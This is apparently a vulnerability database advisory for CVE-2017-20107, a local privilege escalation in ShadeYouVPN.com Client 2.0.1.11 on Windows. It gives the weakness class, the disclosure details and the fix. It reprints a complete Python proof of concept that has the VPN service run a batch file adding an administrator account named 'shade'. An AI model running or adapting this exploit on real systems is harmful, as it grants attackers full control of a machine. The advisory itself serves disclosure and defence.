ShadeYouVPN.com Client 2.0.1.11 on Windows privileges management

Summaryinfo

A vulnerability was found in ShadeYouVPN.com Client 2.0.1.11 on Windows and classified as problematic. This vulnerability affects unknown code. The manipulation results in privileges management. This vulnerability is reported as CVE-2017-20107. The attack requires a local approach. Moreover, an exploit is present. It is suggested to upgrade the affected component.

Detailsinfo

A vulnerability, which was classified as problematic, was found in ShadeYouVPN.com Client 2.0.1.11 on Windows. Affected is an unknown code. The manipulation with an unknown input leads to a privileges management vulnerability. CWE is classifying the issue as CWE-269. The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. This is going to have an impact on confidentiality, integrity, and availability.

The weakness was disclosed 02/14/2017 by Kacper Szurek as ShadeYouVPN.com Client v2.0.1.11 for Windows Privilege Escalation as not defined mailinglist post (Full-Disclosure). The advisory is available at seclists.org. This vulnerability is traded as CVE-2017-20107. Local access is required to approach this attack. A authentication is needed for exploitation. Technical details are unknown but a public exploit is available. This vulnerability is assigned to T1068 by the MITRE ATT&CK project.

A public exploit has been developed by Kacper Szurek and been published immediately after the advisory. The exploit is shared for download at seclists.org. It is declared as proof-of-concept. The code used by the exploit is:

import socket
import tempfile

print "ShadeYouVPN.com Client v2.0.1.11 for Windows Privilege Escalation"
print "by Kacper Szurek"
print "https://security.szurek.pl/";
print "https://twitter.com/KacperSzurek";

t = tempfile.TemporaryFile(delete=False, suffix='.bat')
t.write("net user shade /add\n")
t.write("net localgroup administrators shade /add")
t.close()

s = socket.socket()
s.connect(("127.0.0.1", 10295))

s.send("s||config|"+t.name+"|ccccc|ddddd|eeee|ffff|\r\n")
print s.recv(1024)
print s.recv(1024)

Upgrading to version 2.0.1.12 eliminates this vulnerability.

If you want to get best quality of vulnerability data, you may have to visit VulDB.

Productinfo

Vendor

• ShadeYouVPN.com

Name

• Client

Version

• 2.0.1.11

CPE 2.3info

• 🔍

CPE 2.2info

• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

If you want to get best quality of vulnerability data, you may have to visit VulDB.

Discussion